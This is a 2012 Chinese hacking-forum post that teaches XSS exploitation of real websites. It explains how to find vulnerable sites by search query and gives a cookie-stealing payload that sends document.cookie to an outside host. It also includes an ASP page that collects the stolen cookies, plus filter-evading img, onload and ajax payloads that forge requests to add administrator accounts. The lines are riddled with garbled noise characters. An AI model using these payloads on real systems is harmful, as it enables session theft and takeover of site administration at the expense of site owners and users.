找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2129|回复: 0
打印 上一主题 下一主题

实战xss漏洞利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:08:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
前天贴吧一位朋友发了个后台XSS利用的帖子,大家就一起讨论了讨论,原帖为:
" o% ?( n5 r% u9 }$ s
6 K) j$ z& r, R; Hhttp://tieba.baidu.com/f?kz=1069007239
, S! W$ k# ?5 [4 h& F8 C: `
. \$ n: l/ F- G6 _# I" A这个帖子说的只是一个思路,不是很详细,并且说的是利用后台XSS挂马的情况,但是其实在后台挂马一般是不会牵扯到XSS的,只是一个过滤不过滤转换不转换的问题,比如很多带编辑器的后台,都是不过滤不转换在文章中的html代码的,比如eweb,你可以直接编辑发表文章的时候的html代码,这就为挂马、盗cookie提供了很多机会。
! M5 C/ g1 b( d% l( v& `: x6 I* ~7 `- X& T6 V9 \
但是,我想说的是,即使是挂马、盗cookie,也是不会使用location这种手法的,因为这样太明显了,一般都是使用普通挂马的手法的,比如iframe、JS等等。* w) N- e5 u/ G5 U

) ]  d% ]& l0 m* M0 E我在上边的帖子中说作者讲的不是很详细,希望出一个详细点的利用教程,于是今天又一位朋友就发了一个详细些的文章,我这里就发大博客里,让更多需要的朋友看到这篇文章。
. P8 Q8 G+ X  C9 f9 m! @, h/ q
) E( c* V" V9 [! O这个文章是对XSS的一个很简单的利用,原理很简单,主要用于科普,只是想让朋友们知道,XSS并不是简单的弹个框框玩那么简单的,是有很多利用价值的,在国外,XSS已经被列为网站杀手之一,包括国内的很多大站,大家都把心思放到了防范SQL注入上,相应的对XSS的防范就很少,这也是XSS总是能成功的原因之一。+ x2 {2 k) C9 ~% D: v* t

) k  _# V+ {) H9 L& U8 J* P( A% }3 o好了,废话不多说了,一起来看文章吧。% T* z9 Q6 N9 @' y8 s( ]. w

7 h; C& T: I4 q. C-------------------------------------------------------------------
7 T* V& w( E4 V1 H" U: a- C2 `0 Y+ _6 B/ b' ]6 A
首先要找到一个有XXS的站,这里就不整什么大站了,谷歌一下inurl:'Product.asp?BigClassName',搜出来的命中率也比较高。随便找一个,先<script>alert('xxs')</script>一下。呵呵,框框出来了。
0 A# S( \; @4 g% b& x: [* l, p, ?; v# T: v  d

# |. ^8 z- ^- o, H% H! q( X. W$ Y
再看看自己的Cookie吧,把alert里面的内容换成document.cookie就可以了,如图:7 E- j; W! U0 b, V0 G
- p7 T/ v) y' |( k! ?
& p/ |& M( ]; {2 ?
4 c# u# A7 w* C8 E
这里就是要把弹出来框框里的东西收集到我们的记事本里。这里,要玩这个步骤就需要一个你自己的站点,具体思路就是
+ }3 [8 J  ?% g0 D1:让目标访问已跨站的网址,然后这个网址执行脚本
: f, s. K# O/ D2 u2:然后跳转到你已经写好专门用来收集Cookie的网址
% \$ J! Z* Y2 `( i
4 H8 l8 R3 S, Y5 N具体实现方法:
- A) Y7 c! o8 z7 p" }3 {先构造语句<script>window.open('http://dlgyi.rrvv.net/cookie.asp?msg='+document.cookie)</script>
/ Y1 [% R2 j& Y这句话意思是打开一个新的窗口,访问http://dlgyi.rrvv.net/cookie.asp这个网址,并且通过msg传递一个变量,这里的变量就是我们要收集的cookie了。$ ?& N) R9 b$ X/ p
, P* x8 E; P- @+ Q2 ?
这里需要自己写一个页面,也就是收集对方发过来cookie的页面,代码是这样的:
  y$ p8 j* \* `* ~# g& |, ~) ]
, G  k8 v- x5 i" {" m! ]: M<html>& h3 X- R  M& P" M* G/ D
<title>xx</title>
1 e+ s! P# t' h8 A6 V# V' N<body>
7 L( `4 D  D/ w% S! Z, P7 G; q<%9 L8 s# c2 [- B  Q- i! V
testfile = Server.MapPath("code.txt") //先构造一个路径,也就是取网站根目录,创造一个在根目录下的code.txt路径,保存在testfile中
; ]( B* A/ N# h" B4 x6 tmsg = Request("msg")   //获取提交过来的msg变量,也就是cookie值
5 C/ P) O+ r* k7 ~1 zset fs = server.CreateObject("scripting.filesystemobject")创建一个fs对象
( q: R+ t# L4 tset thisfile = fs.OpenTextFile(testfile,8,True,0)( l/ D* h9 }* H5 q
thisfile.WriteLine(""&msg&"")//像code.txt中写入获取来的cookie
& w5 I; F5 R+ G* O# }! b( h2 F( nthisfile.close   //关闭. p0 e0 @2 b/ L* d( V
set fs = nothing
- \, K2 Y4 }' [6 O$ F& ]%>3 m. B% x6 j3 a
</body>' @+ K! f7 n9 Y; V
</html>7 f! }) ]/ K! P, c$ N/ A
  v1 v0 @" E3 x' }
然后保存,放在你自己服务器上,如果有人点击构造好的XXS页面,就会自动在你网站的根目录生成一个文本:- B; {+ [) Y3 D* ?$ \8 q* q

0 c- {5 n3 o% C" |/ ^ 4 n0 ^; c# ~, _2 ^) M' X0 _

/ v+ b; b& I9 }. u$ _5 ?% s$ M, U) ~9 X; b" C+ K0 T
拿出来看看,呵呵,Cookie到手:
$ |- n# B* {' w$ i6 L5 L5 \* @  @7 m4 Z' K2 h% `$ E) z- ]5 @5 P
: |* T5 u8 T: [+ ]# D

' Z" o! }% j& G! W' G& }本文只是抛砖引玉,而且没有多大的实战价值,一来很多网站都过滤掉了+号这个字符连接符,二来稍大点的站,也不会存在如此的XXS,本文旨在给新手一个练习的向导,毕竟不可能谁一开始学习就可以RI掉大站,从小站开始练手,一起进步。话说咱也是新手O(∩_∩)O~, v/ W# B/ V. x
$ F" G. Y  o/ ?% ^+ M
PS:一点小提示,如果提交<script>alert('xxs')</script>网站没有反应时,不要立刻就点X。你可以鼠标右击,查看一下网站的源码,看看网站到底过滤掉了什么字符,通过编码啊神马的发挥下智慧,绕过过滤。只要出现小框框,咱就胜利了。! F6 |2 w; A' _  k) n! w8 U

$ I, w/ M, l7 G% A& Y-------------------------------------------------------------------. B% O. Y9 I/ M" h$ y
8 r7 @. e7 F; v% A) k! d
下面是我对这个帖子的回复,也一起贴过来吧:
$ H+ T& z$ U$ ]+ N* ~" a1 m1 _) k1 J! W0 f  H7 i  ]: o
说实话,像这种后台XSS其实作用不大的,一般的小站你拿到cookie也没什么利用价值,大点的站的话,或许可以用cookie盗点装备什么的,但那牵扯的多了,不过对于普通脚本小子来说,日站的时候除非毫无办法了还会想到XSS的,不过日站时候的XSS利用方法跟这篇文章里讲的差不多的,可以借鉴一下。3 S& C. X8 A. H6 x  R3 I" B4 w

. w6 }) G3 O  @! w( u但是,这里的文章讲的是针对已经进入后台、拿shell无望又想多获得点东西的情况,说它鸡肋的原因是,你知道的,现在大部分站都是cookie+session的,并且一般用户名和密码不会直接放到cookie里了,这是它鸡肋的原因。
: b: W; }3 C+ K# |! P/ O, u5 Y+ ?再者,日站的时候盗cookie一般是想进后台,但是如果遇到网上有源码的情况的话,还可以进一步利用,比如添加个管理员什么的。
& G1 s! q& v; n" ~. }! n
* a* ~0 u) H, V在文章的最后,顺便贴上一般XSS的利用思路,也不是原创,原文链接:
: c" G. @  y. C0 r0 s3 y0 l2 N
8 ~2 q8 c% R7 x% C  Rhttp://user.qzone.qq.com/673116767/blog/1252452536
; Y: _6 E( F) m& X& T: p; I
: F4 u: v5 M8 S0 j. y% ^0 |一般发现一个xss漏洞后要做的基本上就是这些:/ Y* k6 V1 M  x0 D% F
& A& @: C: ]7 d) B! \! l9 h4 T/ H
1.  伪造请求  使用$_REQUEST或$_GET
  y; I" [3 ]- Y0 U0 z/ m) ~; K/ E, B. R( b
首先我们要找找该网站使用的程序是不是在网上能找到源码,如果能找到源码的话,就去分析后台管理员更改密码或者增加管理员的页面,然后分析管理员使用的是不是$_REQUEST接收参数,如果是的话,我们使用该XSS漏洞构造一个请求,比如前台发表留言中可以使用HTML代码,那么我们就嵌入一个IMG元素:
; i7 z- S/ h9 V8 ^1 n' f. l<img src="/admin/admin_add.asp?name=xxx&psd=yyy" />; E3 ^' @9 A9 R. B
当管理员登录管理后台后看到包含img的页面的时候,就伪造了一个增加后台管理员的请求,而该请求是由管理员发出的,所以顺利的增加了一个新的管理员。
/ A4 b, I3 D3 m: k" g" h
- e7 |3 ^* S+ u7 \! j  d: x如果是可视文本编辑器,可以尝试使用输入:
8 j* d8 H$ s5 W3 l, fhttp://www.drvfan.com/xxx.jpg" onload="window.open('/admin/admin_add.asp?name=xxx&psd=yyy')) X) d$ J; b3 C$ U
这样最终会构造出:4 @" w( y9 ^. r* p9 a
<img src="http://www.drvfan.com/xxx.jpg" onload="window.open('/admin/admin_add.asp?name=xxx&psd=yyy',0,0)" />
; I4 [5 j( k6 M) x9 L$ Z总之要举一反三。, U8 c7 W- U, s; ]" t' E2 M: n

8 S; S4 @7 w$ l) a0 U5 M2. 伪造请求  使用$_POST
8 b9 X3 `. _* W, }; }+ ]" `, N% L  ~# I/ L3 T& Z7 @+ {
当后台接收增加管理员或更改管理密码的变量时使用的是$_POST方式,那么第一种方法无效,我们视情况而定,如果没有过滤<script>,我们可以通过ajax方式来伪造请求,如:4 e$ Q( j4 o# f* \. d7 M/ t
<sc/*xss*/ript type="text/javascript">2 R( f7 b) E2 G( r( \9 O
var aj = new ActiveXObject("MSXML2.XMLHTTP.3.0");
+ [% F2 l9 q3 f9 M2 b( w# @" Maj.open("POST", "/admin/admin_add.asp", false);4 @1 e: _5 R6 G( a* D1 C5 U7 r
var postdata = 'name=xxx&psd=yyy';
: o1 i1 E" r+ p" `5 Eaj.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
0 Q0 a& _/ W) w. Qaj.send(postdata);
8 a$ B* R8 {& ~; p1 K</scr/*xss*/ipt>7 L5 ~. ~3 d0 |' z: z, a
/*xss*/是HTML注释,用来绕过简单的对script代码块的过滤。
' `% ?" v) w6 d5 q2 Z8 Y- x7 G0 f! h2 T! y* O7 `6 R, A- X5 ^
3. 跨站伪造请求 使用$_GET 或 $_REQUEST5 b% Z# Y1 O, r, x1 T/ Q9 W3 I4 M: G  X
+ e# R, j- A  v- x; T5 o
与第一种伪造请求的方式相似,但是第一种伪造请求是利用站内的xss漏洞进行的,而跨站伪造请求,是站外发起的,比如我在我的博客的首页放了这样一个图片5 B9 C. G& ~$ |, F( q& e
<img src="http://www.drvfan.com/admin/admin_add.asp?user=xxx&psd=yyy"/>7 `% ?* [0 U; F7 l  s8 r5 }
然后我跑到dvbbs上发帖子,“勾引”动网论坛的管理员来我的博客,如果动网论坛的管理员已经登录了他的管理后台,然后使用共享进程的浏览器(目前基于ie内核的myie,maxton等等还有firefox都是共享进程的)来访问我的博客,那么他的后台就会被加入一个用户。
9 f5 G# o. |' _( f# f3 N1 Y# e- d1 T6 T0 ^2 J9 B' |' D
4.跨站伪造请求 使用$_POST(0day)
* k' K3 Z0 g( _9 Y- D" L
  Z5 t) T4 W0 c如果入侵目标的管理后台使用的是$_POST方式来接受变量,那么我们无法在我们的网站跨站使用ajax的post方式提交数据过去,因为ajax是无法跨域的。
. X  q7 l! W" P6 g3 ^6 M6 y: w; `& Y. {* k* R8 \; L3 ?7 [* P$ b) R. ~
但是我们可以在我们的网站放一个form,里面填写好数据,form的action为要利用的有漏洞的页面,然后当有人打开该页面的时候,我们就用js控制该form进行submit,ajax虽然不能跨域,但向域之外的地址提交form总是可以的。
4 a: K/ `% c0 Q
& @0 V8 v1 a0 l总之,第3,4种方法成功几率要小一些,因为我们要想办法让已经登录自身后台的管理员,使用共享session的浏览器访问我们的伪造请求的页面,有一点社会工程学的技术含量。
8 Z3 m7 _: ?1 Q/ z7 m8 S
! a* {  r/ g' T7 K) Q$ a- H- \. aOK,该说的都说完了,Over。
; S" l' K% v( z7 x! ?0 B
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表